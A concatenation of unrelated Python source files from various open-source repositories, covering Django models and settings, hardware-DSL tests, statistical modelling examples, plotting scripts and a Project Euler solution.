"""Create example plot with different metrics. Example ------- python docs/stats_explainer.py """ import matplotlib.pyplot as plt import numpy as np from asreviewcontrib.insights.plot import _fix_start_tick # The recall at a given number of documents read is the fraction of the # relevant records found at that moment. (recall = n_pos_records / n_records) # The old RRF@X (relevant records found) is basically the same as the recall. # The WSS@X (work saved over sampling) is the number of records you need to # read less to find the fraction X of relevant records. (wss = recall - recall_random) # The (my suggestion for a name) ERF@X (extra records found) is the number of # extra relevant records found after reading a fraction X of the total number of # records. # Create fictive data. n_docs = 1000 n_pos_docs = 30 percentages = np.array([x**(1 / 3) for x in np.linspace(0, 1, n_docs)]) n_docs_found = np.round(percentages * n_pos_docs) labels = [ n_docs_found[i + 1] - n_docs_found[i] for i in range(len(n_docs_found) - 1) ] + [0] labels[0] = 1 labels[5] = 1 labels[8] = 1 # Plot the recall curve. fig, ax = plt.subplots() x = list(range(1, n_docs + 1)) # Recall curve. recall = np.cumsum(labels) / np.sum(labels) ax.step(x, recall, where='post') # Random recall_random = np.round(np.linspace(0, n_pos_docs, n_docs)) / np.sum(labels) ax.step(x, recall_random, where='post', color="black") # Add the [email protected] line (recall > 0.5 at 137, recall_random 0.5 at 517). ax.plot((137, 137), (137 / 1000, recall[137]), color='red') erf_x_offset = -70 ax.text(137 + erf_x_offset, (137 / 1000 + recall[137]) * 0.9 / 2, 'ERF', color='red') # Add the [email protected] line. ax.plot((137, 517), (recall[137], recall[137]), color='blue') wss_y_offset = 0.03 ax.text((137 + recall[137] * 1000) / 2, recall[137] + wss_y_offset, 'WSS', color='blue') ax.set_title("Explaining Recall, WSS and ERF") ax.set(xlabel='#', ylabel='Recall') ax.set_ylim([-0.05, 1.05]) ax.set_yticks([0, 0.2, 0.4, 0.6, 0.8, 1.0]) ax.xaxis.get_major_locator().set_params(integer=True) _fix_start_tick(ax) fig.savefig('docs/stats_explainer.png')

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bucket/models.py

passuf/blackhole

0

166731

<filename>bucket/models.py import json import uuid import traceback from picklefield.fields import PickledObjectField from django.db import models from django.utils.translation import ugettext_lazy as _ from django.conf import settings class Bucket(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4) title = models.CharField(_('Title'), max_length=255) description = models.CharField(_('Description'), max_length=255, blank=True, null=True) active = models.BooleanField(_('Active'), default=True) created_at = models.DateTimeField(_('Created at'), auto_now_add=True) modified_at = models.DateTimeField(_('Modified at'), auto_now=True) @property def url(self): return '{base_url}/{id}/'.format(base_url=settings.BASE_URL, id=self.id) def __str__(self): return self.title class Request(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4) bucket = models.ForeignKey(Bucket, related_name='requests', on_delete=models.CASCADE) comments = models.TextField(_('Comments'), blank=True, null=True) method = models.CharField(_('Method'), max_length=255, blank=True, null=True) headers = models.TextField(_('Headers'), blank=True, null=True) remote_address = models.CharField(_('Remote Address'), max_length=255, blank=True, null=True) host = models.CharField(_('Host'), max_length=255, blank=True, null=True) http_referer = models.CharField(_('HTTP Referer'), max_length=255, blank=True, null=True) path = models.CharField(_('Path'), max_length=255, blank=True, null=True) query_strings = models.TextField(_('Query Strings'), blank=True, null=True) body = models.TextField(_('Body'), blank=True, null=True) response_code = models.IntegerField(_('Response Code'), blank=True, null=True) form_data = models.TextField('Form Data', blank=True, null=True) cookies = models.TextField(_('Cookies'), blank=True, null=True) error = models.TextField(_('Error'), blank=True, null=True) custom_values = PickledObjectField(_('Custom Values'), blank=True, null=True) created_at = models.DateTimeField(_('Created at'), auto_now_add=True) modified_at = models.DateTimeField(_('Modified at'), auto_now=True) def __str__(self): if self.method and self.path: return '{method} {path}'.format(method=self.method, path=self.path) return str(self.created_at) class RequestFactory: @staticmethod def from_request(request, bucket): req = Request.objects.create( bucket=bucket, path=request.path, method=request.method, host=request.get_host(), custom_values={}, ) errors = '' header = dict(request.META) # Parse the HEADER try: # Find non-serializable keys keys_to_remove = [] for key in header.keys(): # Remove WSGI related keys if key.startswith('wsgi.'): keys_to_remove.append(key) continue # Try if object is serializable try: json.dumps(header[key]) except Exception: keys_to_remove.append(key) continue # Remove invalid keys for key in keys_to_remove: header.pop(key, None) # Finally try to parse the header req.headers = json.dumps(header) except Exception as e: print(e, traceback.format_exc()) req.headers = header errors += '\n' + str(traceback.format_exc()) # Parse the remote address try: x_forwarded_for = header.get('HTTP_X_FORWARDED_FOR') if x_forwarded_for: req.remote_address = x_forwarded_for.split(',')[0] else: req.remote_address = header.get('REMOTE_ADDR') except Exception as e: print(e, traceback.format_exc()) req.remote_address = 'error' errors += '\n' + str(traceback.format_exc()) # Parse the HTTP Referer try: req.http_referer = header.get('HTTP_REFERER') except Exception as e: print(e, traceback.format_exc()) req.http_referer = 'error' errors += '\n' + str(traceback.format_exc()) # Parse the body try: req.body = json.dumps(request.body.decode('utf-8')) except Exception as e: print(e, traceback.format_exc()) req.body = 'error' errors += '\n' + str(traceback.format_exc()) # Parse GET params try: req.query_strings = json.dumps(request.GET) except Exception as e: print(e, traceback.format_exc()) req.query_strings = 'error' errors += '\n' + str(traceback.format_exc()) # Parse POST params try: req.form_data = json.dumps(request.POST) except Exception as e: print(e, traceback.format_exc()) req.form_data = 'error' errors += '\n' + str(traceback.format_exc()) # Parse Cookies try: req.cookies = json.dumps(request.COOKIES) except Exception as e: print(e, traceback.format_exc()) req.cookies = 'error' errors += '\n' + str(traceback.format_exc()) if errors: req.error = errors req.response_code = 400 # Save the request req.save() return req

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12428, 13, 13, 2 ]

invoice/tests.py

Chris7/django-invoice

139

60020

<reponame>Chris7/django-invoice<filename>invoice/tests.py import datetime from django.test import TestCase from django.contrib.auth.models import User from addressbook.models import Address, Country from .models import Invoice class InvoiceTestCase(TestCase): def setUp(self): usr = User.objects.create(username='test', first_name='John', last_name='Doe', email='<EMAIL>') country = Country.objects.create(name='TestCountry') address = Address.objects.create(contact_name='<NAME>', address_one='Street', town='Town', postcode='PostCode', country=country) self.inv = Invoice.objects.create(user=usr, address=address) def testInvoiceId(self): inv = self.inv self.assertEquals(inv.invoice_id, u'TTH9R') inv.invoice_id = False inv.save() self.assertEquals(inv.invoice_id, u'TTH9R') def testGetDue(self): inv = self.inv inv.draft = True inv.save() self.assertEquals(len(Invoice.objects.get_due()), 0) inv.draft = False inv.save() self.assertEquals(len(Invoice.objects.get_due()), 1) inv.invoiced = True inv.save() self.assertEquals(len(Invoice.objects.get_due()), 0) today = datetime.date.today() yesterday = today - datetime.timedelta(1) tomorrow = today + datetime.timedelta(1) inv.invoiced = False inv.invoice_date = yesterday inv.save() self.assertEquals(len(Invoice.objects.get_due()), 1) inv.invoice_date = tomorrow inv.save() self.assertEquals(len(Invoice.objects.get_due()), 0)

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mednorm/datasets/base.py

mbelousov/MedNorm-corpus

11

1607213

import os import pandas as pd class DatasetConverter(object): def __init__(self, dataset_path, dataset_name=None): self.dataset_path = dataset_path if dataset_name is None: self.dataset_name = os.path.basename(dataset_path).upper() else: self.dataset_name = dataset_name def convert_lines(self): raise NotImplementedError("not implemented.") def construct_line(self, item_id, phrase, meddra_code='', sct_id='', umls_cui=''): return (self.dataset_name, item_id, phrase, meddra_code, sct_id, umls_cui) def _padded_print(self, message, padding): print("%s%s" % (padding, message)) def print_stats(self, padding=''): print("") class CsvDatasetConverter(DatasetConverter): def __init__(self, dataset_path, dataset_name=None, item_id_col=0, input_col=1, target_col=2, target_term='meddra_code', sep=',', **read_kwargs): super(CsvDatasetConverter, self).__init__(dataset_path, dataset_name) self.input_col = input_col self.item_id_col = item_id_col self.target_col = target_col self.target_term = target_term self.sep = sep self.read_kwargs = read_kwargs def convert_lines(self): df = pd.read_csv(self.dataset_path, sep=self.sep, dtype='str', **self.read_kwargs) lines = [] if self.item_id_col is None: collection = zip(df.index, df[df.columns[self.input_col]].values, df[df.columns[self.target_col]].values) else: collection = zip(df[df.columns[self.item_id_col]].values, df[df.columns[self.input_col]].values, df[df.columns[self.target_col]].values) for item_id, phrase, target in collection: line_params = {'item_id': item_id, 'phrase': phrase, self.target_term: target} lines.append(self.construct_line(**line_params)) return lines

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pyfitnesspal/settings.py

gord1anknot/pyfitnesspal

2

147540

<reponame>gord1anknot/pyfitnesspal # Copyright 2015 <NAME> # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ Django settings for pyfitnesspal project. For more information on this file, see https://docs.djangoproject.com/en/1.7/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.7/ref/settings/ """ # Build paths inside the project like this: os.path.join(BASE_DIR, ...) import os BASE_DIR = os.path.dirname(os.path.dirname(__file__)) SECRET_KEY = os.environ['SECRET_KEY'] if 'DJANGO_ENV' in os.environ and\ os.environ['DJANGO_ENV'].lower().startswith('prod'): DEBUG = False TEMPLATE_DEBUG = False ALLOWED_HOSTS = [] else: DEBUG = True TEMPLATE_DEBUG = True ALLOWED_HOSTS = [] INSTALLED_APPS = ( 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'main', 'crispy_forms', ) MIDDLEWARE_CLASSES = ( 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.auth.middleware.SessionAuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ) ROOT_URLCONF = 'pyfitnesspal.urls' WSGI_APPLICATION = 'pyfitnesspal.wsgi.application' # Internationalization # https://docs.djangoproject.com/en/1.7/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Database # https://docs.djangoproject.com/en/1.7/ref/settings/#databases DATABASES = {} # Parse database configuration from $DATABASE_URL import dj_database_url DATABASES['default'] = dj_database_url.config() # This does a test to see which db is in use, as sqlite3 # might be used locally during development. # Enable Connection Pooling (if desired) # if 'ENGINE' in DATABASES['default'] and \ # DATABASES['default']['ENGINE'] == \ # 'django.db.backends.postgresql_psycopg2': # DATABASES['default']['ENGINE'] = 'django_postgrespool' # Honor the 'X-Forwarded-Proto' header for request.is_secure() SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https') # Heroku Django config snippet: allow all host headers ALLOWED_HOSTS = ['*'] # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.7/howto/static-files/ # Static asset configuration STATIC_ROOT = 'staticfiles' STATIC_URL = '/static/' STATICFILES_DIRS = ( # Commercial libraries not available on GitHub or via Bower # could go into 'libraries' os.path.join(BASE_DIR, 'static/libraries'), # Custom frontend assets in css/js subfolders os.path.join(BASE_DIR, 'static/custom'), # Bower controlled assets os.path.join(BASE_DIR, 'static/bower_components'), ) STATICFILES_STORAGE = 'whitenoise.django.GzipManifestStaticFilesStorage' TEMPLATE_DIRS = ( os.path.join(BASE_DIR, 'templates'), ) LOGIN_REDIRECT_URL = 'pyfitnesspal_home' LOGIN_URL = 'pyfitnesspal_login' LOGOUT_URL = 'pyfitnesspal_logout' CRISPY_TEMPLATE_PACK = 'bootstrap3'

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pymtl3/passes/rtlir/behavioral/test/BehavioralRTLIRL4Pass_test.py

hsqforfun/pymtl3

1

24323

<filename>pymtl3/passes/rtlir/behavioral/test/BehavioralRTLIRL4Pass_test.py #========================================================================= # BehavioralRTLIRL4Pass_test.py #========================================================================= # Author : <NAME> # Date : Feb 2, 2019 """Test the level 4 behavioral RTLIR passes. The L4 generation, L4 type check, and visualization passes are invoked. The generation pass results are verified against a reference AST. """ import pytest from pymtl3.datatypes import Bits32 from pymtl3.dsl import Component, Interface, OutPort from pymtl3.dsl.errors import VarNotDeclaredError from pymtl3.passes.rtlir.behavioral.BehavioralRTLIR import * from pymtl3.passes.rtlir.behavioral.BehavioralRTLIRGenL4Pass import ( BehavioralRTLIRGenL4Pass, ) from pymtl3.passes.rtlir.behavioral.BehavioralRTLIRTypeCheckL4Pass import ( BehavioralRTLIRTypeCheckL4Pass, ) from pymtl3.passes.rtlir.behavioral.BehavioralRTLIRVisualizationPass import ( BehavioralRTLIRVisualizationPass, ) from pymtl3.passes.rtlir.errors import PyMTLSyntaxError, PyMTLTypeError from pymtl3.passes.rtlir.util.test_utility import do_test, expected_failure def local_do_test( m ): """Check if generated behavioral RTLIR is the same as reference.""" m.elaborate() m.apply( BehavioralRTLIRGenL4Pass() ) m.apply( BehavioralRTLIRTypeCheckL4Pass() ) m.apply( BehavioralRTLIRVisualizationPass() ) try: ref = m._rtlir_test_ref for blk in m.get_update_blocks(): upblk = m._pass_behavioral_rtlir_gen.rtlir_upblks[ blk ] assert upblk == ref[ blk.__name__ ] except AttributeError: pass #------------------------------------------------------------------------- # Correct test cases #------------------------------------------------------------------------- def test_L4_interface_attr( do_test ): class Ifc( Interface ): def construct( s ): s.foo = OutPort( Bits32 ) class A( Component ): def construct( s ): s.in_ = Ifc() s.out = OutPort( Bits32 ) @s.update def upblk(): s.out = s.in_.foo a = A() a._rtlir_test_ref = { 'upblk' : CombUpblk( 'upblk', [ Assign( Attribute( Base( a ), 'out' ), Attribute( Attribute( Base( a ), 'in_' ), 'foo' ), True ) ] ) } do_test( a ) def test_L4_interface_array_index( do_test ): class Ifc( Interface ): def construct( s ): s.foo = OutPort( Bits32 ) class A( Component ): def construct( s ): s.in_ = [ Ifc() for _ in range(4) ] s.out = OutPort( Bits32 ) @s.update def upblk(): s.out = s.in_[2].foo a = A() a._rtlir_test_ref = { 'upblk' : CombUpblk( 'upblk', [ Assign( Attribute( Base( a ), 'out' ), Attribute( Index( Attribute( Base( a ), 'in_' ), Number(2) ), 'foo' ), True ) ] ) } do_test( a ) #------------------------------------------------------------------------- # PyMTL type errors #------------------------------------------------------------------------- def test_L4_interface_no_field( do_test ): class Ifc( Interface ): def construct( s ): s.foo = OutPort( Bits32 ) class A( Component ): def construct( s ): s.in_ = Ifc() s.out = OutPort( Bits32 ) @s.update def upblk(): s.out = s.in_.bar with expected_failure( VarNotDeclaredError, 's.in_ does not have field "bar"' ): do_test( A() )

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myblog/apps.py

HaibaraAi123/DjangoBlog-chenfeng123.cn

1

161007

from django.apps import AppConfig class Newapp1Config(AppConfig): name = 'myblog'

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odoo/custom/src/private/nxpo_budget_revision_monitoring_project/report/budget_monitor_revision_report.py

Saran440/nxpo

0

28140

<reponame>Saran440/nxpo<filename>odoo/custom/src/private/nxpo_budget_revision_monitoring_project/report/budget_monitor_revision_report.py # Copyright 2020 Ecosoft Co., Ltd. (http://ecosoft.co.th) # License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). from odoo import fields, models class BudgetMonitorRevisionReport(models.Model): _inherit = "budget.monitor.revision.report" project_id = fields.Many2one(comodel_name="res.project") def _select_budget(self): select_budget_query = super()._select_budget() select_budget_query = ",".join([select_budget_query, "aa.project_id"]) return select_budget_query

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hyperaxis.py

wngu6/tourpy

0

1612338

""" A visual class containing multiple axes. """ import numpy as np from vispy.visuals import CompoundVisual, LineVisual, TextVisual class HyperAxisVisual(CompoundVisual): def __init__(self, pos, color="black", labels=None): self.pos = np.zeros((pos.shape[0]*2, 3)) for i in range(pos.shape[0]): self.pos[2*i+1] = pos[i] self._lines = LineVisual(pos=self.pos, method="gl", color=color, connect="segments", antialias=True) self._text = TextVisual(text=labels, color=color, bold=True, italic=True, pos=pos * 1.1, font_size=14, method="gpu") CompoundVisual.__init__(self, [self._lines, self._text]) def set_data(self, pos): for i in range(pos.shape[0]): self.pos[2*i+1] = pos[i] self._lines.set_data(pos=self.pos) self._text.pos = pos * 1.1 self._text.update()

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example.py

wesselb/gparolmm

1

151177

<filename>example.py from collections import namedtuple import numpy as np import lab as B import matplotlib.pyplot as plt import torch import wbml.out import wbml.plot from gpar import GPARRegressor from matrix import Dense from varz import parametrised, Unbounded, Positive from varz.torch import minimise_l_bfgs_b def Model(**kw_args): return namedtuple('Model', kw_args.keys())(**kw_args) # Model parameters: p = 16 m = 4 gpar = GPARRegressor(replace=True, impute=False, noise=0.05, normalise_y=False, linear=False, nonlinear=True) vs = gpar.vs m_true = m # True number of latent processes. # Sample some test data. n = 200 x = B.linspace(0, 30, n) y = gpar.sample(x, w=B.ones(n, m_true), p=m_true) @ B.randn(m_true, p) # Add noise to the test data. noise = 0.05 y = y + noise ** .5 * B.randn(*B.shape(y)) # Split data. n_split = 100 inds1_n = B.range(0, n_split) inds2_n = B.range(n_split, n) n1 = len(inds1_n) n2 = len(inds2_n) inds2_p = B.range(p - m, p) p1 = p p2 = len(inds2_p) def _pinv(h): return B.cholsolve(B.dense(B.chol(Dense(h.T @ h))), B.dense(h.T)) def _inv(a): return B.cholsolve(B.dense(B.chol(Dense(a))), B.eye(a)) @parametrised def build(vs, h: Unbounded(shape=(p, m)), noise: Positive = 0.05): """Build model.""" wbml.out.kv('Noise', noise) x_train = torch.tensor(x) y_train = Dense(torch.tensor(y)) u = B.svd(h)[0] pinv = _pinv(h) x_train1 = x_train[inds1_n] y_train1 = y_train[inds1_n] proj1 = y_train1 @ pinv.T proj1_orth = y_train1 - proj1 @ h.T x_train2 = x_train[inds2_n] y_train2 = y_train[inds2_n][:, inds2_p] h2 = h[inds2_p] u2 = u[inds2_p] proj2 = y_train2 @ (pinv @ u @ _pinv(u2)).T proj2_orth = y_train2 - y_train2 @ (h2 @ _pinv(h2)).T # Check spectral gap for debugging. vals = B.svd(u2.T @ u2)[1] wbml.out.kv('Spectral gap', vals[0] - vals[-1]) # Determine weights. cov_missing = noise * (_inv(h2.T @ h2) - _inv(h.T @ h)) lat_noises = B.concat(*[vs[f'{i}/noise'][None] for i in range(m)]) weights = lat_noises / (lat_noises + B.diag(cov_missing)) wbml.out.kv('Weights', weights) # Convert to weights for all data. dtype = B.dtype(weights) weights = B.concat(B.ones(dtype, n1, m), B.ones(dtype, n2, m) * weights[None, :], axis=0) return Model(x_train=x_train, y_train=y_train, h=h, noise=noise, x_train1=x_train1, y_train1=y_train1, proj1=proj1, proj1_orth=proj1_orth, x_train2=x_train2, y_train2=y_train2, proj2=proj2, proj2_orth=proj2_orth, u2=u2, proj=B.concat(proj1, proj2, axis=0), weights=weights) def nlml(vs): """Compute the negative LML.""" model = build(vs) # Construct regulariser. logdet = n * B.logdet(Dense(model.h.T @ model.h)) + \ n2 * B.logdet(Dense(model.u2.T @ model.u2)) lognoise = (n1 * (p1 - m) + n2 * (p2 - m)) * B.log(2 * B.pi * model.noise) logfrob = (B.sum(model.proj1_orth ** 2) + B.sum(model.proj2_orth ** 2)) / model.noise reg = 0.5 * (logdet + lognoise + logfrob) + \ 1e-4 * B.sum((1 / model.weights) ** 2) gpar.vs = vs return -gpar.logpdf(model.x_train, model.proj, model.weights) + reg def predict(vs, x, num_samples=100): """Predict by sampling.""" model = build(vs) h = B.to_numpy(model.h) weights = B.to_numpy(model.weights) # Condition GPAR and sample from the posterior. gpar.vs = vs gpar.condition(B.to_numpy(model.x_train), B.to_numpy(model.proj), weights) samples = gpar.sample(x, weights, num_samples=num_samples, posterior=True) # Compute empirical mean and error bars for predictions of latents. samples_lat = B.stack(*samples, axis=0) mean_lat = B.mean(samples_lat, axis=0) err_lat = 2 * B.std(samples_lat, axis=0) # Transform to observation space. samples = B.stack(*[sample @ h.T for sample in samples], axis=0) # Compute empirical mean and error bars for predictions in observation # space. mean = B.mean(samples, axis=0) err = 2 * B.std(samples, axis=0) return ((mean_lat, mean_lat - err_lat, mean_lat + err_lat), (mean, mean - err, mean + err)) # Perform training. with wbml.out.Section('Before training'): wbml.out.kv('NLML', nlml(vs)) vs.print() minimise_l_bfgs_b(nlml, vs, trace=True, iters=1000) with wbml.out.Section('After training'): wbml.out.kv('NLML', nlml(vs)) vs.print() # Perform prediction. with wbml.out.Section('Predicting'): ((mean_lat, lower_lat, upper_lat), (mean, lower, upper)) = predict(vs, x) # Plot predictions for latent processes. plt.figure(figsize=(12, 8)) num = int(np.ceil(m ** .5)) obs_lat = B.to_numpy(build(vs).proj) for i in range(min(m, num * num)): plt.subplot(num, num, i + 1) plt.scatter(x, obs_lat[:, i], label='Observations', c='black') plt.plot(x, mean_lat[:, i], label='Prediction', c='tab:blue') plt.plot(x, lower_lat[:, i], c='tab:blue', ls='--') plt.plot(x, upper_lat[:, i], c='tab:blue', ls='--') wbml.plot.tweak(legend=False) # Plot predictions. plt.figure(figsize=(12, 8)) num = int(np.ceil(p ** .5)) for i in range(min(p, num * num)): plt.subplot(num, num, i + 1) plt.scatter(x[inds1_n], y[inds1_n, i], label='Observations', c='black') if i in inds2_p: plt.scatter(x[inds2_n], y[inds2_n, i], label='Observations', c='black') else: plt.scatter(x[inds2_n], y[inds2_n, i], c='tab:red') plt.plot(x, mean[:, i], label='Prediction', c='tab:blue') plt.plot(x, lower[:, i], c='tab:blue', ls='--') plt.plot(x, upper[:, i], c='tab:blue', ls='--') wbml.plot.tweak(legend=False) plt.show()

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001-100/10/10-sieve.py

junwei-wang/project-euler

0

157292

<filename>001-100/10/10-sieve.py #!/usr/bin/env python # -*- coding: utf-8 -*- from math import sqrt, ceil num = 2000000 sevie = [True] * num # 0, 1, 2, 3, ..., 1999999 sevie[0] = False sevie[1] = False for i in range(3, num): if i & 1 == 0: sevie[i] = False # a number has at most one factor than its squre sqr = int(ceil(sqrt(num))) for i in range(3, sqr): if sevie[i]: # start from the prime multiple: 3i with step: 2i for j in range(3*i, num, 2*i): sevie[j] = False sum = 0 for idx, val in enumerate(sevie): if val: sum += idx print sum

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PythonAPI/carissma_project/lib/python3.5/site-packages/pandas/util/_doctools.py

AbdulHoffmann/carla_carissma

6,989

135472

import numpy as np import pandas.compat as compat import pandas as pd class TablePlotter(object): """ Layout some DataFrames in vertical/horizontal layout for explanation. Used in merging.rst """ def __init__(self, cell_width=0.37, cell_height=0.25, font_size=7.5): self.cell_width = cell_width self.cell_height = cell_height self.font_size = font_size def _shape(self, df): """ Calculate table chape considering index levels. """ row, col = df.shape return row + df.columns.nlevels, col + df.index.nlevels def _get_cells(self, left, right, vertical): """ Calculate appropriate figure size based on left and right data. """ if vertical: # calculate required number of cells vcells = max(sum(self._shape(l)[0] for l in left), self._shape(right)[0]) hcells = (max(self._shape(l)[1] for l in left) + self._shape(right)[1]) else: vcells = max([self._shape(l)[0] for l in left] + [self._shape(right)[0]]) hcells = sum([self._shape(l)[1] for l in left] + [self._shape(right)[1]]) return hcells, vcells def plot(self, left, right, labels=None, vertical=True): """ Plot left / right DataFrames in specified layout. Parameters ---------- left : list of DataFrames before operation is applied right : DataFrame of operation result labels : list of str to be drawn as titles of left DataFrames vertical : bool If True, use vertical layout. If False, use horizontal layout. """ import matplotlib.pyplot as plt import matplotlib.gridspec as gridspec if not isinstance(left, list): left = [left] left = [self._conv(l) for l in left] right = self._conv(right) hcells, vcells = self._get_cells(left, right, vertical) if vertical: figsize = self.cell_width * hcells, self.cell_height * vcells else: # include margin for titles figsize = self.cell_width * hcells, self.cell_height * vcells fig = plt.figure(figsize=figsize) if vertical: gs = gridspec.GridSpec(len(left), hcells) # left max_left_cols = max(self._shape(l)[1] for l in left) max_left_rows = max(self._shape(l)[0] for l in left) for i, (l, label) in enumerate(zip(left, labels)): ax = fig.add_subplot(gs[i, 0:max_left_cols]) self._make_table(ax, l, title=label, height=1.0 / max_left_rows) # right ax = plt.subplot(gs[:, max_left_cols:]) self._make_table(ax, right, title='Result', height=1.05 / vcells) fig.subplots_adjust(top=0.9, bottom=0.05, left=0.05, right=0.95) else: max_rows = max(self._shape(df)[0] for df in left + [right]) height = 1.0 / np.max(max_rows) gs = gridspec.GridSpec(1, hcells) # left i = 0 for l, label in zip(left, labels): sp = self._shape(l) ax = fig.add_subplot(gs[0, i:i + sp[1]]) self._make_table(ax, l, title=label, height=height) i += sp[1] # right ax = plt.subplot(gs[0, i:]) self._make_table(ax, right, title='Result', height=height) fig.subplots_adjust(top=0.85, bottom=0.05, left=0.05, right=0.95) return fig def _conv(self, data): """Convert each input to appropriate for table outplot""" if isinstance(data, pd.Series): if data.name is None: data = data.to_frame(name='') else: data = data.to_frame() data = data.fillna('NaN') return data def _insert_index(self, data): # insert is destructive data = data.copy() idx_nlevels = data.index.nlevels if idx_nlevels == 1: data.insert(0, 'Index', data.index) else: for i in range(idx_nlevels): data.insert(i, 'Index{0}'.format(i), data.index._get_level_values(i)) col_nlevels = data.columns.nlevels if col_nlevels > 1: col = data.columns._get_level_values(0) values = [data.columns._get_level_values(i).values for i in range(1, col_nlevels)] col_df = pd.DataFrame(values) data.columns = col_df.columns data = pd.concat([col_df, data]) data.columns = col return data def _make_table(self, ax, df, title, height=None): if df is None: ax.set_visible(False) return import pandas.plotting as plotting idx_nlevels = df.index.nlevels col_nlevels = df.columns.nlevels # must be convert here to get index levels for colorization df = self._insert_index(df) tb = plotting.table(ax, df, loc=9) tb.set_fontsize(self.font_size) if height is None: height = 1.0 / (len(df) + 1) props = tb.properties() for (r, c), cell in compat.iteritems(props['celld']): if c == -1: cell.set_visible(False) elif r < col_nlevels and c < idx_nlevels: cell.set_visible(False) elif r < col_nlevels or c < idx_nlevels: cell.set_facecolor('#AAAAAA') cell.set_height(height) ax.set_title(title, size=self.font_size) ax.axis('off') class _WritableDoc(type): # Remove this when Python2 support is dropped # __doc__ is not mutable for new-style classes in Python2, which means # we can't use @Appender to share class docstrings. This can be used # with `add_metaclass` to make cls.__doc__ mutable. pass if __name__ == "__main__": import matplotlib.pyplot as plt p = TablePlotter() df1 = pd.DataFrame({'A': [10, 11, 12], 'B': [20, 21, 22], 'C': [30, 31, 32]}) df2 = pd.DataFrame({'A': [10, 12], 'C': [30, 32]}) p.plot([df1, df2], pd.concat([df1, df2]), labels=['df1', 'df2'], vertical=True) plt.show() df3 = pd.DataFrame({'X': [10, 12], 'Z': [30, 32]}) p.plot([df1, df3], pd.concat([df1, df3], axis=1), labels=['df1', 'df2'], vertical=False) plt.show() idx = pd.MultiIndex.from_tuples([(1, 'A'), (1, 'B'), (1, 'C'), (2, 'A'), (2, 'B'), (2, 'C')]) col = pd.MultiIndex.from_tuples([(1, 'A'), (1, 'B')]) df3 = pd.DataFrame({'v1': [1, 2, 3, 4, 5, 6], 'v2': [5, 6, 7, 8, 9, 10]}, index=idx) df3.columns = col p.plot(df3, df3, labels=['df3']) plt.show()

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squarespiral.py

lstoomet/peeterscript

0

31080

#!/usr/bin/env python3 import turtle t = turtle.Pen() for x in range(400): t.forward(x) t.left(90) input("press enter to exit")

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plots/plotsV2.py

hoseinkh/Distributed-Optimization-for-Coupled-Market

1

1617409

# # import seaborn as sns import pandas as pd import matplotlib.pyplot as plt # plt.interactive(False) plt.interactive(True) # # Reading from text file # # df = pd.read_csv('Results.csv') # print(df.head(10)) # sns.set_style("whitegrid") # fig1 = sns.barplot(x = 'list_k', y = 'list_T_r1_to_r2_updated', data = df) # figsave1 = fig1.get_figure() # figsave1.savefig('fig101.png', dpi=400) numSimul = len(df['list_k']) fig1, ax1 = plt.subplots() x_data = df['list_k'] y1_data = df['list_T_r1_to_r2_updated'] y2_data = df['optimal_Tie_line_r1_r2_centralized'] line1, = ax1.plot(x_data, y1_data, label='$T_{1-2}$') line2, = ax1.plot(x_data, y2_data,'r--', label='$T_{1-2}^{\ *}$') ax1.plot(x_data, y1_data, color = 'tab:blue') ax1.plot(x_data, y2_data,'r--') ax1.set(xlabel="k", ylabel='Tieline Power Flow $T_{12}$ (MW)') ax1.set_ylim([min([min(y1_data) * 0.95, min(y1_data) * 1.05]), max([max(y1_data) * 0.5, max(y1_data) * 100])]) ax1.grid() fig1.legend(handles=[line1, line2], loc=(0.765,0.6955)) fig1.savefig("fig101.png") # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # fig2, ax2 = plt.subplots() x_data = df['list_k'] y1_data = df['list_T_r1_to_r3_updated'] y2_data = df['optimal_Tie_line_r1_r3_centralized'] line1, = ax2.plot(x_data, y1_data, label='$T_{1-3}$') line2, = ax2.plot(x_data, y2_data,'r--', label='$T_{1-3}^{\ *}$') ax2.plot(x_data, y1_data, color = 'tab:blue') ax2.plot(x_data, y2_data,'r--') ax2.set(xlabel="k", ylabel='Tieline Power Flow $T_{13}$ (MW)') ax2.set_ylim([min([min(y1_data) * 0.5, min(y1_data) * 1.5]), max([max(y1_data) * 0.96, max(y1_data) * 1.04])]) ax2.grid() fig2.legend(handles=[line1, line2], loc=(0.765,0.7655)) fig2.savefig("fig102.png") # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # fig3, ax3 = plt.subplots() x_data = df['list_k'] y1_data = df['list_T_r2_to_r3_updated'] y2_data = df['optimal_Tie_line_r2_r3_centralized'] line1, = ax3.plot(x_data, y1_data, label='$T_{2-3}$') line2, = ax3.plot(x_data, y2_data,'r--', label='$T_{2-3}^{\ *}$') ax3.set(xlabel="k", ylabel='Tieline Power Flow $T_{23}$ (MW)') ax3.set_ylim([min([min(y1_data) * 0.9, min(y1_data) * 1.5]), max([max(y1_data) * 0.5, max(y1_data) * 1.04])]) ax3.grid() fig3.legend(handles=[line1, line2], loc=(0.765,0.7655)) fig3.savefig("fig103.png") # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # print("max of list_T_r1_to_r2_updated = {}".format(max(df['list_T_r1_to_r2_updated']))) 7 + 8

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tests/security/test_security_multistream.py

g-r-a-n-t/py-libp2p

315

189909

